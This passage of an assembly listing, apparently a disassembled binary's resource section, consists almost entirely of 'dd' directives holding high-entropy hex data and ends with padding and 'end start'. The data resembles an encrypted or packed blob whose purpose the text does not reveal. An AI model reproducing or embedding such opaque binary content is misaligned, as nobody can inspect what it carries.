0F6C40995h, 9EEB1405h, 0A2850542h dd 3C2B6679h, 2B071A2Dh, 637E1D34h, 0A045B4A8h, 7F23028Dh dd 9A02806Ah, 7FA311B1h, 0A93F5265h, 16DBBFC6h, 0E11C93CDh dd 48298A83h, 0CBBCE69Dh, 0B0B7FEE0h, 1DC68A9Dh, 5D610717h dd 889B2031h, 155AA67Dh, 347555DBh, 6CF2CE9Eh, 9CAFC4E2h dd 50601E1Ch, 598C2A3Dh, 0B899D700h, 5AE41FDEh, 0F8331C8Dh dd 634E2F12h, 747D4B44h, 3B4F6283h, 0F00506A5h, 148B4BDDh dd 0AC6B7E92h, 0C2033ADh, 0C24085F9h, 0F5879081h, 283CBE1Dh dd 906AD215h, 0FF55B633h, 1A7B4CEAh, 41CBA331h, 2457DF32h dd 4F7386ACh, 0EA52B0BAh, 4BFDD901h, 9295894Ah, 49105669h dd 0D2528FA2h, 47DBBEBFh, 624380F2h, 0FFD3AB39h, 0B4C86369h dd 643B19A1h, 2CD642E0h, 0DEC27B90h, 955AA8Bh, 38197C44h dd 0C6FF7C26h, 8FB5F0DAh, 2A8B94FAh, 3723B141h, 0BDEF66FCh dd 0EDF696A9h, 0FA3D6DCAh, 2ADBE811h, 862CB1F8h, 0C5533CADh dd 3484296Dh, 25BBCEE2h, 72757F2Ah, 681B8749h, 0D3BEA440h dd 788B1259h, 921AB065h, 340FDAA2h, 5F1D4FE4h, 0B5D06E6Fh dd 0FCFD40C0h, 0D41BD79Ah, 0E15E4937h, 0E1116DEh, 0A4DF5C05h dd 8093A6C5h, 0A9AE2D1Fh, 0E8C92A2Fh, 908B865Ah, 7FB3EB0Eh dd 3672A0Bh, 0FC46E85Fh, 0CCC0A6C1h, 216D4861h, 0C6E9C4FFh dd 4C96B10Bh, 1DCF6A91h, 0E8635730h, 88F3D50Eh, 0A83DDDA1h dd 18EBEFCAh, 0CCABE627h, 59879AADh, 8C36447h, 0FCC5223Bh dd 0B5C09B03h, 29BF6263h, 2BE83EE9h, 65761CEFh, 0B773665Fh dd 0DFE5CF64h, 0C5CEEEFh, 7C8FA259h, 7F356D3h, 0DA84C950h dd 13ABD4C5h, 626CFA0Ah, 0E3135039h, 0B10085E8h, 687876F2h dd 410D4255h, 0A7E30065h, 4FD53F54h, 0FCCE5E5Fh, 0E71A6229h dd 0A0B3CDC1h, 0C50C078Dh, 0DF1B4457h, 0B25C61A8h, 0F5836CDDh dd 0A183881Dh, 0CEAFB27Eh, 4FC35C5h, 40533C86h, 0C2DAA7B2h dd 0E696CECFh, 92C0827Fh, 2290559Ch, 47D7E0D1h, 57919EE9h dd 0A965DDD6h, 16F73AC6h, 269C2ACDh, 0E84BC3E7h, 0CBB9539Dh dd 0C79577E0h, 0FBEC9340h, 93C5A952h, 49151DCCh, 0B697DA6Eh dd 0BBE38D6Dh, 0BB44F9D0h, 0A8AD572Ch, 0FDE376B7h, 4453F64h dd 0D0A5B2F2h, 6C7F07B5h, 4BC1BBD0h, 2167FADBh, 8869CC14h dd 3605675h, 26E9BDA6h, 0A4B7CADDh, 0ABE8C491h, 0C1F685Bh dd 0AF99EE62h, 7C04E1C4h, 283B646Eh, 96F0215h, 8DA3BA8Bh dd 0E277B987h, 0D8210DD8h, 889F384Ch, 81D0AC82h, 2847092Dh dd 0A8785B2Ah, 0DF6F9181h, 122002C6h, 89632B2Fh, 78A5CBB2h dd 6C3F92A5h, 75660600h, 0C6A48792h, 1A1CF581h, 3D452731h dd 0B595000Eh, 18EDCFE1h, 6B5E4315h, 0C4DF8B89h, 903D6BAh dd 783D1B6Dh, 0B8A39321h, 1DFBC5D2h, 90972A0Fh, 0C2987E70h dd 0FF01E7ADh, 8974D2DFh, 0B4B49D83h, 12E0C2D0h, 445CEE00h dd 0BD8BA279h, 0EE0416C2h, 5D2DCA19h, 54978650h, 0FED6B885h dd 39452C39h, 0A783686Ah, 0FF3BB761h, 63B0B16h, 8872E0EEh dd 44D4BCBAh, 0F84810F2h, 0E88C615Eh, 0D9E5CCD9h, 4723080Ah dd 87BE2E18h, 0BC90A7BAh, 29830AD2h, 9D830A50h, 98ACC396h dd 3F5E06EEh, 94947279h, 58E3DBAAh, 9C74BE80h, 0D98E7213h dd 5A60B8C2h, 0BD6AB12Eh, 0F8B32D86h, 0B5EEB460h, 0A92DC0A4h dd 689A3A53h, 0C02C3EBFh, 6F415880h, 90A3EE81h, 44576A7Dh dd 0F80B1E31h, 0ACBFD2E5h, 60738699h, 14273A4Dh, 0C8DBEE01h dd 7C8FA2B5h, 30435669h, 0E4F70A1Dh, 98ABBED1h, 4C5F7285h dd 132639h, 0B4C7DAEDh, 687B8EA1h, 1C2F4255h, 0D0E3F609h dd 8497AABDh, 384B5E71h, 0ECFF1225h, 8D63C6D9h, 0D7474468h dd 0FEE2EE9Eh, 6152E2F5h, 70917565h, 0E7E6595Dh, 0E01E8B1Dh dd 925A69CCh, 84CE167Ch, 3622FE09h, 93A420E5h, 50A28A57h dd 2B0FF8D4h, 3950F63Fh, 7859BDF1h, 3B7BD7EEh, 0E5CE0647h dd 36BFFC50h, 4C9DCF5Ah, 2C8CAA35h, 8C3AC05h, 64778AB9h dd 182B5EF9h, 995C7F05h, 0C9937CDCh, 30337246h, 0AF7CEA4h dd 3C2C4124h, 93634CC0h, 811A03CCh, 0B89902C1h, 3CA6A288h dd 0A333D5CDh, 6A49FE35h, 6B202B4Ah, 46D26283h, 0B00AA29h dd 9429CDAFh, 0A0EF4C16h, 16A29080h, 0AFCFFAF9h, 38AC57Fh dd 0FF533E93h, 0F796816Ch, 0D418A18Fh, 0EC576054h, 0BBD7E934h dd 0BB1B576Ch, 0E53286C7h, 145539ADh, 0C8DBEE01h, 7C8FDE1Dh dd 0D0C0E169h, 0FCF700F4h, 47321441h, 4C5F8A6Dh, 0A098A939h dd 0B4C7D0C4h, 0F5F496CEh, 1C1D65AEh, 4D2A72F4h, 84C5A91Dh dd 9CC8EDB4h, 65FF483Ch, 0D6BA2666h, 546AA28Dh, 41EE2E41h dd 3C626D38h, 428396A9h, 331DF705h, 9C580148h, 8F9FE8DCh dd 3C9DE9C7h, 0FB83292Dh, 2BBBCEE2h, 5B6F926Fh, 102353C5h dd 0C01975FDh, 26430681h, 0B142513Ch, 0E001E555h, 0E7700D0h dd 4864EE89h, 0C58F3B01h, 70C66A0Fh, 1CF23B48h, 0E7CCBF52h dd 4D26D1BCh, 0BCC7EA32h, 5D9B0F6Dh, 117ED60Ch, 3326D12Fh dd 36637689h, 0D7FD62BEh, 1348EDE3h, 227F92A5h, 953320DCh dd 0C4A1850Ah, 8216B06Ch, 14A0D378h, 5F4A349Bh, 73733FE0h dd 0DDC07E7Fh, 0B4AAA05h, 0C0D36A75h, 3834D9ADh, 0F83B6458h dd 0AB95D77Dh, 0D420B9C0h, 0C3576054h, 0EED262AEh, 0D0BBD5E5h dd 6233096Ch, 6A1E9520h, 48CDD109h, 3DE2C2FEh, 493F3A85h dd 0E010EE11h, 33EB79ADh, 4B8AF36Eh, 74B88188h, 0C325BC3h dd 1CA6FCDEh, 45DAC363h, 0C42A5744h, 0BA822BA3h, 6C9FF353h dd 5F2A9343h, 1486FE42h, 61D2FB83h, 0BC2E66EAh, 27A63E3h dd 64E47BE0h, 0F422CB63h, 0C8C2308h, 302CB1C3h, 8B533CB0h dd 836ECB56h, 0EA3E0C98h, 2A06EB81h, 12665540h, 0DC1FEE27h dd 2712F381h, 5219E7EDh, 88510647h, 36A9D29Eh, 4A5E5241h dd 566A0897h, 0E51B8EE7h, 0E75E492Ah, 0E9AA4693h, 24A7F76Fh dd 6F5A3BE1h, 474A94EDh, 0EAAB9E2Ch, 0B28DEC52h, 77BEE089h dd 5E5F5267h, 0EDCE3871h, 0C490429Dh, 0FFADB61h, 0D4E7FB65h dd 3CCD32C1h, 0AEFB37Ah, 4B5141F3h, 0A4B742DAh, 0FAC6FE91h dd 8194F5DCh, 0C0E1BE8Dh, 1EF6F198h, 0A7B82524h, 0DCEF382Dh dd 8F9BB6C9h, 64182AEAh, 7588743Ch, 0ADBF08FDh, 5DD18C86h dd 7821FD6h, 0B05073AFh, 0D191A2C3h, 6138FC67h, 8AF3B5FAh dd 0BE88BFD6h, 9BC35A30h, 438EC5B0h, 0FC5463B9h, 0C37BA498h dd 9BACB998h, 0D0E3CC41h, 838FAABDh, 0A4479EFEh, 3B83FACFh dd 352C6550h, 549579E1h, 0F090B3EFh, 11D0E203h, 0CB94A5A5h dd 7FF7355Fh, 57685554h, 8C9FE8DDh, 0B44B6679h, 6D84A40Ch dd 0E9BBE4D9h, 598D8DF5h, 0AB01FBD4h, 3E71A24Dh, 6E53272Eh dd 175F1365h, 594F2D16h, 54DA25CBh, 5A76199Fh, 18606CDh dd 353D41E9h, 64A58226h, 0B8ECF64Dh, 5C229DFDh, 0E6B3512Dh dd 5A4785C5h, 82E4F98Ch, 85479AD1h, 0CDAA9575h, 24D8FC39h dd 31C8C4F9h, 0C7DAF865h, 0BAA3965Ch, 6CAFFCB7h, 0B7A282C1h dd 4E7BB4F1h, 48AB1E93h, 0B39E7D69h, 1B7DC8C7h, 4645F791h dd 7A99AFE5h, 2EEDF539h, 62415A8Dh, 96950EE1h, 0F933C235h dd 51073728h, 0AD5B675Ch, 0F42F97D0h, 0DD364704h, 0EA4FD6A2h dd 4758C501h, 7C8FD8CDh, 24C35669h, 3E577A20h, 80224300h dd 4C5F7293h, 75F2E39h, 5042AF45h, 9F3239A1h, 3217D1D2h dd 0D0E3F909h, 0BB13B9BEh, 0A84B5E71h, 655ABC0Dh, 0D6BA2E8Eh dd 0AEBFEA8Dh, 6460B7ACh dd 93CF180Ch, 0A68B2526h, 24374D5Dh, 8FD8D211h, 0A2874142h dd 40536679h, 8C04CE2Eh, 0D7C2ACA2h, 0F7C9EB25h, 3FBBBBD4h dd 352EACBh, 0E504E69Ch, 2C2D91F5h, 88B74EA2h, 6A0E5E6Ch dd 0EE9B81ECh, 7B8C99E0h, 0B3C3AC21h, 0F8778A9Dh, 95A89457h dd 4CDF281Dh, 0C26BABA5h, 7CAE9983h, 0CE747240h, 26FF580h dd 0CFE08D34h, 7172015h, 0ECCBDEF1h, 0E9FC88D2h, 0A0331C91h dd 0C23FFF9Ah, 0A0A28D77h, 0BF6DF11h, 0A65BF6D9h, 0C79E8978h dd 7B3648Ah, 7D7A9832h, 3F4071A4h, 0B879085h, 2B7D2533h dd 31EF0215h, 0FD69DED5h, 33072914h, 0A7968E59h, 0FB2738BCh dd 0F10EACA6h, 8F5EC5B8h, 0BEA27E7Eh, 0F547CDB5h, 0B59272B1h dd 0E42502A4h, 98ABBED4h, 0D18EA0D1h, 21FEC0h, 0BAC7DAEDh dd 0ED8AB0CDh, 1C1D7ADCh, 0D1E3F609h, 966FAFCAh, 0EFD2BDA6h dd 2E7A1A2h, 0A0B3C6D9h, 0EC642E89h, 37220C46h, 0C4466744h dd 707F96D7h, 1BA34A5Dh, 8771E539h, 0CC786A9Ch, 0E8EE2EEFh dd 0F8F35A35h, 0D048664Ch, 33CA6900h, 462BC5C6h, 0C4D7F2FDh dd 0F8C273B1h, 4227DFFAh, 263F0619h, 230DB5F5h, 50340638h dd 0A1096B5Eh, 0B0D1AE72h, 5E7A2E5Dh, 0EF3C7AEh, 5D4F9D05h dd 0FD103063h, 8E475045h, 6DF54E91h, 9C9DFA5Eh, 0B2EB1C33h dd 8394E1D2h, 0C8CBF4E9h, 407F92A5h, 0BA6C9658h, 60D472ABh dd 0A0EB59DFh, 0D70F951Fh, 1F6F73B2h, 29A6CAABh, 58399618h dd 0C1F3265h, 863EFE6h, 3C061FB7h, 0CE954E4Fh, 0B3AF83ADh dd 0C6AB4546h, 4457AA7Dh, 780EF231h, 51B9FAA1h, 60815E18h dd 61A0A5EBh, 0C8A90D99h, 0FB0C1960h, 30432CA1h, 79370A1Dh dd 9ADB4EDAh, 6247F902h, 85E29039h, 0B4F5D274h, 687B8E21h dd 0A49F4D22h, 0F85B7B13h, 9F31AA8Bh, 29934466h, 6B7C091Dh dd 0A0B39C11h, 68677A8Eh, 2F4BE43h, 0D2B76A92h, 73DFD6A9h dd 0ECAFAF67h, 3309FEFFh, 0DC206A23h, 68CAEBE8h, 0F6071AFBh dd 0AA48CEE1h, 169CA21h, 10310ED1h, 1150551Bh, 7859BD1Dh dd 2C17EEFDh, 65C27119h, 94D5B254h, 485B6E89h, 0DA71301h dd 270AF5DEh, 3A9F191Ah, 18273E51h, 5CDA6705h, 0F910B071h dd 8E475045h, 6D0A5BCCh, 9C9DFA5Ch, 50637E89h, 4C753B4Ah dd 1DC53E74h, 6C6DCA2Eh, 0E046B137h, 0FAF42577h, 8283D739h dd 5237EB12h, 0F35F5629h, 6C302FE7h, 0B3897E7Fh, 1496B714h dd 0D0D3E627h, 0BC659AADh, 2BC70EE2h, 0D6E74695h, 0C6AB3F66h dd 43F2907Dh, 0E080A39Fh, 41AD2F3h, 4F3A22D9h, 0DC9EBF5Ch dd 0C8DBEEEFh, 75BB62B5h, 0B5450619h, 0E425029Ch, 1728153Bh dd 4C5FA89Dh, 0B0132659h, 0B8C98F6Bh, 96321B9Dh, 24AEE7DFh dd 4D5CF637h, 84C5A931h, 0E4CB090Fh, 7CFE8722h, 8FEA46D9h dd 5DBFE44Dh, 3F220DF5h, 0D2B77172h, 704396A9h, 0CADF705Dh dd 4CEDD302h, 1CFA18EEh, 0B9D07091h, 0B4071005h, 0C015D181h dd 2B16FE41h, 9572BEF9h, 0C405E284h, 788B1EB1h, 0B2AF54B2h dd 8726BA3h, 0EF85BA9Bh, 0FD584A01h, 7C0FD234h, 4A83F530h dd 735B7545h, 97A89588h, 0CCDF281Dh, 0F593A7B9h, 2E07CA78h dd 0DEC3959Eh, 9B4A6CD5h, 90E6CEE7h, 0CC968F47h, 13E9DEDFh dd 0C3D99335h, 563BD5D6h, 0D6E7FA0Dh, 0BF7203C1h, 5237F1F2h dd 0F4031629h, 0F4C1FFDDh, 0D1E888D1h, 861F685Dh, 0F6DB7496h dd 64E7DBADh, 0A9D9E67Fh, 0B7EFB2C0h, 8A6306D1h, 1A7FF3FAh dd 7D9AC831h, 0ACAD0A6Ch, 606B8699h, 5C054ADAh, 2DD5D684h dd 7C7DDA3Dh, 31D3C1C7h, 9CA712C8h, 802343DBh, 0A3B97293h dd 361BB5B6h, 0A4C7DAEDh, 1D081FA1h, 9F972872h, 48800001h dd 2A97A095h, 920B71DCh, 0FB83CF4Eh, 2582C607h, 54957214h dd 8FB2E41h, 134001C2h, 18619194h, 89316266h, 0D8B91699h dd 86A29685h, 765BEE16h, 0CDA2C02Dh, 9E824A56h, 0D6300C95h dd 462AB2E6h, 147210FDh, 0FF08A089h, 0C63F887Dh, 86A8B88h dd 94AABA9Bh, 2AE76F81h, 486A784h, 0B0C3D617h, 5AE48E9Dh dd 0A2C380h, 0CCDFF213h, 85E0A9B9h, 0C3B1DE95h, 1256F6D8h dd 215E412Ch, 50714E10h, 0FC172A3Dh, 711BE19Dh, 0EBFC894Fh dd 20331C91h, 0E867FA0Dh, 629A3EA1h, 5237E9F2h, 0FA635729h dd 88AF53E2h, 0DFC88091h, 4C1F685Dh, 8453E955h, 953705A9h dd 5783B4CBh, 634C0C75h, 76A38C01h, 0C3D421E8h, 0D80B3429h dd 80BFD2E5h, 0DFF01D6Ch, 14273025h, 7CBBEE01h, 7F4E19BAh dd 24435669h, 3E877A1Ah, 5F2611FCh, 5BEBFF10h, 0C12E2667h dd 42B9B76h, 0EFF898F9h, 0B62F786Dh, 0F85A7BF8h, 8497AA8Bh dd 34575E31h, 2FCFCA83h, 0C8324BE3h, 4EC27A5Bh, 2822C65Fh dd 0C44E87FFh, 0B6196D7h, 0ECAECFECh, 0D8EEFEFFh, 5F4BB3C5h dd 68CAEBE8h, 0F4071AFBh, 0A547EEE1h, 5C72C9E4h, 15EF3649h dd 0DF717A4Dh, 0F34229E4h, 4226FEE2h, 59ABF119h, 4DDAF695h dd 30D2F330h, 0FC0F2243h, 0AE90D669h, 2CF60F22h, 10A53E3Fh dd 0CF087245h, 84083EACh, 24631EB2h, 0E01BCF21h, 7F0A4D65h dd 81EB1C87h, 0AAB250FDh, 0D04B6D69h, 6C7F923Dh, 0BB91E75Bh dd 8D6465C5h, 0F039B4EEh, 0D76DA286h, 6D9D59D9h, 7ADF665Ah dd 0D7E8D591h, 0C1F685Dh, 35C3E6F9h, 0FCA271ABh, 0A32439B9h dd 0A4CA2AC8h, 0D1EE6F4h, 448569C9h, 0E7779332h, 0B5C0D2F3h dd 648FCA24h, 400B7D6h, 3556EEEFh, 7C7DE12Dh, 5FAFDB94h dd 69E60AEBh, 9879D658h, 4C5F72C5h, 0C8E22825h, 0B4C31C58h dd 0D5FEC5EFh, 1C1D8199h, 195F0509h, 9C97AABEh, 384B5E76h dd 0AAD15770h, 0D2C61296h, 901B3E73h, 0B6880D41h, 35CF1810h dd 0A68AB626h, 0CCB29D5Dh, 87930105h, 4F1ADA18h, 35330EA5h dd 69825944h, 0A889EDA1h, 58B18550h, 3F7FBBD2h, 86DAEACBh dd 100827B9h, 0A73F887Ch, 93BAEE0Ch, 94A7BA4Dh, 77680729h dd 0BC74AD8Ch, 86C3AC20h, 7364F745h, 0D898C988h, 47DF281Ch dd 0BA96AE83h, 0B77D4571h, 60F213CAh, 9CAFC3B5h, 510DFA90h dd 591A2A3Dh, 0B899FD2Dh, 7BFB47A8h, 4CC74687h, 36640935h dd 59BAEC1h, 0C12A6633h, 0F011F5A5h, 0BC07D0E0h, 7F2D33Bh dd 1B5FEFC8h, 35D3E627h, 704695B8h, 2926D168h, 0D88A0215h dd 0BFE32B02h, 0C94E6A4Bh, 0F80B1F36h, 0BB3B57E8h, 0E1D186C7h dd 13447925h, 0C8DBCA7Eh, 7ECF2DB5h, 4F1994h, 0F3E4F7C5h dd 58F0D708h, 4B5FA89Ch, 13CAB6h, 7844DDEDh, 6B7BA498h dd 3216C6D2h, 0EBE38109h, 68EB6FCh, 384B5EB6h, 0EBF75940h dd 0A0B38A5Ch, 56A7FD8Dh, 0B077544h, 0D2B66672h, 0DF3348A9h dd 0FA5EEAAAh, 0C6585D11h, 369FE8E0h, 0C54A26F6h, 0F4071A7Ch dd 0A8BB4A8Ah, 5B16BE95h, 1023AAC6h, 0B9FD6AFDh, 780623B8h dd 0F2BA5265h, 1436F11Ah, 284BE27Dh, 0B5244D38h, 0FCFD6175h dd 35C66D56h, 64A58959h, 7A7C354h, 5158F213h, 80A1851Dh dd 0B9725AF8h, 0E8C92DBDh, 219ACAA7h, 50715571h, 43C534Fh dd 0EADBDEF1h, 6C867AB4h, 5EA84659h, 0AF288521h, 985DB1C3h dd 4BE3E790h, 0ECD01657h, 0B3C78E60h, 3CA70D82h, 0F73A9339h dd 6450753Ch, 94879084h, 17B7E3ECh, 6870223h, 71EAD5B6h dd 44576AE6h, 0D301F3B1h, 0A571DE24h, 5F6BCDD4h, 0A38E36CFh dd 4DD237B8h, 4B362047h, 0B15F32F4h, 0E40F997Ch, 47321DD1h dd 0CD215DDCh, 730A03h, 877DFAEDh, 4C6F1961h, 2BE3C7D4h dd 555CF637h, 84C5A985h, 10BEF7F6h, 71021225h, 0A0C1A555h dd 9204DF2Bh, 0CA1EF42Ch dd 0B8110DE1h, 0C8CE5C67h, 2483CB1Ch, 0D8E8FE11h, 5218B2C5h dd 379A5EDh, 6E9459DCh, 0E9BBE4DCh, 0E166A1FDh, 10233763h dd 9C313E2Dh, 0D12FD5Bh, 2C2D8D4Fh, 0DF1AC696h, 94A8BF55h dd 6D055681h, 0EDA7A18Ch, 83C3D6E9h, 0FDB5BEBAh, 3D5E23F5h dd 0A5916768h, 80D4BFA5h, 30FCF84h, 7D020E0Fh, 9C9DFDEBh dd 7F43FB12h, 0EDEF2A0Bh, 0BCBDEF1h, 4720E602h, 7E829536h dd 0ECDAACAAh, 3A4BFEEAh, 9868585Eh, 0F0E0BD86h, 0BDD2720Ch dd 6B03DDC8h, 0BF1F3245h, 333018D6h, 99794939h, 0DED4A0B1h dd 430CEEFEh, 0E852B626h, 533E1382h, 0F80B1059h, 6E5C25E5h dd 0D5CEA97Ah, 2D190ADDh, 6D6F572Fh, 0B38F8794h, 9F9B6651h dd 0E4FFB2B4h, 0BDDEBED1h, 2A00DAC8h, 5F494B18h, 0BDA58379h dd 1E14E0F1h, 834C2E3Eh, 2892F666h, 937E5282h, 0BDC01241h dd 0ECED4C99h, 0FAE3EAC3h, 0C9CE518Eh, 8E949EFh, 8BAB1E7Eh dd 0A68E6836h, 0A1F7345Dh, 0CEB1B286h, 3C6F02C5h, 6AB7BBF0h dd 0F5DF1AFBh, 7CBBD2E1h, 2BBE837Fh, 462AD6D6h, 0C8313EFDh dd 98F8FD80h, 0AF3F887Ch, 95BAFA55h, 94D5B985h, 33F1E338h dd 0BF562243h, 0DE6F2B6Eh, 73C58A6Bh, 0EF610DEh, 1B077505h dd 801E2AC0h, 0B9C05A6Dh, 0E8C92D3Dh, 6BFDC2BFh, 866EE416h dd 3D7AF3Dh, 0B8CB826Dh, 1CBFBDA5h, 70367029h, 0D4BFFBB7h dd 5EDBAEC1h, 4785F7CCh, 58861657h, 0BC33D974h, 0D16B7E8Eh dd 22069AC2h, 1C4873F9h, 0F1879084h, 1E02A2EEh, 3641D315h dd 25EA66C9h, 44856597h, 0F79276B4h, 0ACBC8861h, 4F73B099h dd 0EA4EE29Ah, 7E48CD01h, 0FF8FD8D0h, 0B43A7561h, 0E4F70F94h dd 87AF435Ah, 85527293h, 5044E93Ch, 0E5C3849Eh, 57132358h dd 91D64263h, 0D0F1D15Bh, 88E6A3Ah, 384B632Ch, 7178DB38h dd 0A0C1A559h, 6C384B3Eh, 8122E58h, 265C61A5h, 0F5836CE4h dd 0F8B3591Dh, 51EBFE0Eh, 0A2863642h, 33DB2979h, 6F071AD4h dd 2DCAE62Ch, 5C5DBA1Ch, 20233649h, 49DAF00Ah, 78598E5Ah dd 6D422478h, 0C1C29788h, 63373F56h, 0D3A36E6Fh, 770F225Dh dd 35C6B234h, 64A59AC6h, 0D92E7044h, 2D0EE3D4h, 0AF0B2B42h dd 338A5A3Bh, 11F95990h, 0CF24F738h, 13F285A1h, 0BDE72D29h dd 0BBA31F9Ch, 1B691355h, 9896F48h, 0DE6A1799h, 0A82DAFC5h dd 0B7332D00h, 0B2060A6Bh, 5CF357CDh, 3B14D5C8h, 0D89C6D06h dd 83D3BC30h, 64A36E38h, 0AAB20E54h, 0DCEF02ADh, 0EBDA418Ch dd 0F8FCF788h, 0A40B3427h, 0E5B2B170h, 0D2D4623Dh, 2B11364Bh dd 22BB1A03h, 58BB7EC9h, 7D0F449Dh, 0FC640AF1h, 992607F4h dd 1127B79Ah, 2D0E3A39h, 0B4999DA0h, 974E13A8h, 1FAAC1ACh dd 8E9CAD3Eh, 6A13B900h, 25D2BDA8h, 0AACC5554h, 8F9E4AE0h dd 8B8CB9A4h, 7ED4184h, 8B76F271h, 433373A0h, 0A82E9989h dd 87725D0Eh, 0A9B78DD8h, 0B51A05EFh, 8071421Dh, 89D3AD98h dd 5B1601EBh, 7F6962C5h, 0DCA9DD94h, 788B9EBFh, 7B66B54Dh dd 0E0F3AE90h, 156CBACDh, 3E2E8B26h, 0FFDA8B35h, 1F9FD6E9h dd 0E824156Fh, 3C2B5448h, 4D7D148Eh, 7FBDF3EFh, 344A9EEAh dd 0D4A19921h, 1DCD20D8h, 4F2026C4h, 41A9EBAh, 0CE0E35F1h dd 6C7FB2A5h, 23D2CB60h, 1755FA0Dh, 0C92B015h, 3C4F65EAh dd 1DFBD9B4h, 4572A3Dh, 5BE20298h, 2C043245h, 0BFF3C619h dd 748A1E29h, 56843661h, 5EE6816Ch, 90A3B942h, 130FCF00h dd 730B1E1Fh, 663ADA27h, 0D33471A9h, 0AF672D49h, 4113F1FEh dd 108B27Fh, 305135EDh, 2CEB5420h, 98ACBED1h, 0B3B95AB6h dd 9523C5B0h, 0B4F5D272h, 0DD4BAE12h, 1C1D7ADBh, 929D673h dd 9CA3E2F5h, 0E7D2C501h, 60F6E4A2h, 0D195791Bh, 2A8F09FAh dd 3F381941h, 0D2B77172h, 708396A9h, 3B597E5Eh, 0CEB38D8Eh dd 8C9FB5C5h, 0C1477B79h, 0CA2FA98Ah, 0D7C2ADE1h, 0DD69EDF0h dd 462BC5CEh, 0C4D7EAFDh, 788986B9h, 4085265h, 0E0F30617h dd 3B69E285h, 0CDD54D38h, 0FCFD5AB4h, 37DD5A67h, 0DC778075h dd 0EF3C5CEh, 23FFD405h, 0B69B3536h, 3447626Dh, 68F46321h dd 0B2974B6Ah, 952F7789h, 0CC8EAFCCh, 0B8CBDEDFh, 572B9AA5h dd 48B2A3D9h, 0E8E4FADBh, 0E02E31h, 414F988Dh, 9D837D95h dd 0A4E5C266h, 0FD1528Eh, 2207C1C2h, 0C0D3E6F9h, 0F4804E2Dh dd 1E03D5D6h, 551E0415h, 0BFD71B4Ch, 5C576A4Bh, 0A7927130h dd 0FBE433CDh, 62C32E10h, 81A23A4Dh, 0C8A90D89h, 8B033FB8h dd 199B5697h, 0E3DEC9B1h, 98AD6E4Dh, 0D0CCFD85h, 7B13FC70h dd 62CAD6A3h, 9780E849h, 26B151ACh, 51E3F60Bh, 84F78E07h dd 0E6C6BE71h, 0B6026857h, 0B0FDC9E5h, 1CDEFF9Ch, 81B2E2Fh dd 0B0FCF2F5h, 9FB3F332h, 79AC4A2Bh, 0D8B916A5h, 7C383F50h dd 0E42666A7h, 0EE2693DCh, 1D30CEE1h, 5C5D9295h, 10B49B3Ch dd 28CAECA0h, 600223E0h, 2C3F5273h, 64EAF619h, 94A7BA33h dd 6033C138h, 0CBB690C3h, 0DF034B74h, 96F48A6Bh, 1893C258h dd 615AF205h, 80A18535h, 0B55724F8h, 0E89B326Bh, 0D68A22D5h dd 83650991h, 0F8892D06h, 0C8E46BECh, 0E9FA92B3h, 20413642h dd 0A062D09Fh, 21F8319Dh, 3C4F9865h, 0F0DC7DACh, 1FB7CADDh dd 926C864Bh, 934E354Dh, 48507168h, 0B879084h, 1E03DDDEh dd 0DCEFC215h, 7A54AC9h, 40C96D75h, 6D842E1Ah, 0ACAD11A9h dd 618B9924h, 93A4711Dh, 88DB04F9h, 0D08FA2B5h, 12B6D6Bh dd 0F3DB53C5h, 94467708h, 6737E588h, 5644322Bh, 0DD8E3E00h dd 50DF2326h, 0A9A84263h, 0D0F1D5D9h, 32DE0E50h, 0B5BD6F78h dd 0ECFFE7A4h, 1D20A0D9h, 69677065h, 0B04D973Fh, 34E116A3h dd 18DBA6F9h, 0CE1E0917h, 0DBDFC89Ch, 11CEC20Fh, 40613E00h dd 0E4071A2Dh, 5DB80F66h, 18E40B88h, 13230C80h, 9AE7137Ah dd 91EA21B1h, 2C3F5265h, 590B4944h, 94A78E4Ch, 4D84581h dd 0FD0F5849h, 0A4C3D6E9h, 5CBA519Ch, 788BDEB1h, 0D45677D4h dd 8093A6E7h, 3B33DA6Dh, 1F85F673h, 17F9412Ch, 866AC20Eh dd 7D14CD3Dh, 0B56606BCh, 7BB71F30h, 22164687h, 0F62FD38h dd 71885A9h, 3F4F988Dh, 0E4031629h, 0D43455C9h, 5B6B9488h dd 2206EECAh, 6850E9F9h, 75879084h, 38F5D969h, 0EB6787A0h dd 4AACB6F7h, 0BD5A9D85h, 3A0C26FBh, 546255D5h, 0F0F01199h dd 2C273024h, 0C8DB1695h, 0A58764B6h, 0AAF3196Ah, 0BA1F978Ah dd 172815D1h, 4C5FA89Dh, 74032639h, 0CD3CDDEBh, 0DE7BA4B1h dd 9BACB955h, 0D0E3CC41h, 1997ACBDh, 0EF09BC7Dh, 2E7A1A2h dd 0A4B3C6D9h, 0CE652F8Dh, 0FEE3BCAEh, 3B4C59F5h, 70836CE1h dd 0B9374A9Dh, 0DAEA881Ch, 0C2A15C87h, 392EFDDBh, 0B63921B7h dd 0CAE9D04Bh, 0C041B5E4h, 8FFF18D4h, 115A42FFh, 7859BD59h dd 5ABB6165h, 0CFBAA593h, 6ACE3E1Ah, 0B6C84D81h, 0CB0F5850h dd 0E6CA5696h, 3604499Dh, 952B544Ch, 0E2C65E8Ah, 0F40033B9h dd 65475044h, 17FB7873h, 0B296AA62h, 2D09589h, 13172018h dd 0AE92C65Eh, 7E0C91A5h, 9D331C94h, 0AA0DCE5Ah, 2CE88DC1h dd 724F988Ch, 1B998B20h, 93ACAABh, 58399D39h, 0C37F545h dd 0DD3E6F9h, 11089B57h, 280965FBh, 9DE672CDh, 0C6904E46h dd 8717EF7Dh, 0A89266B4h, 743C93ECh, 23735CA6h, 0EE274A22h dd 6EBF4301h, 786B9E36h, 4310E7CDh, 0F3B3B23Dh, 9DB81D08h dd 9B89466Dh, 0EFC5CEB0h, 92A81904h, 3E03BB58h, 41975461h dd 0B0E3F609h, 937E0F65h, 0B31433A8h, 69EF3661h, 0D6B9FA86h dd 4C37058Dh, 0EE5AF5Fh dd 0F2ACD5F7h, 0DF839611h, 0BEF3D55Dh, 871BB011h, 0A28AB032h dd 380FE979h, 0C3CB18AEh, 0AB480AD8h, 346BC818h, 7F6A50CAh dd 0D3BE29A5h, 0E04E7FE8h, 2C3F52B1h, 0FF7B5784h, 2CA7BACDh dd 485B6E96h, 840F4277h, 0B0C3D619h, 64779A45h, 18078051h dd 0CCE0779Dh, 80964EB9h, 10895A6Dh, 0CCA79B21h, 1F850FD9h dd 59277681h, 417D25Dh, 0C46DEF1h, 0E744C2C1h, 9108C773h dd 6CE7F0E5h, 0B7A28F8Dh, 3C4BA456h, 0F202192Ah, 493DD0DAh dd 5D83C0EFh, 45C74730h, 81C43735h, 39h, 30h dup(0) dd 1580h dup(?) _rsrc ends end start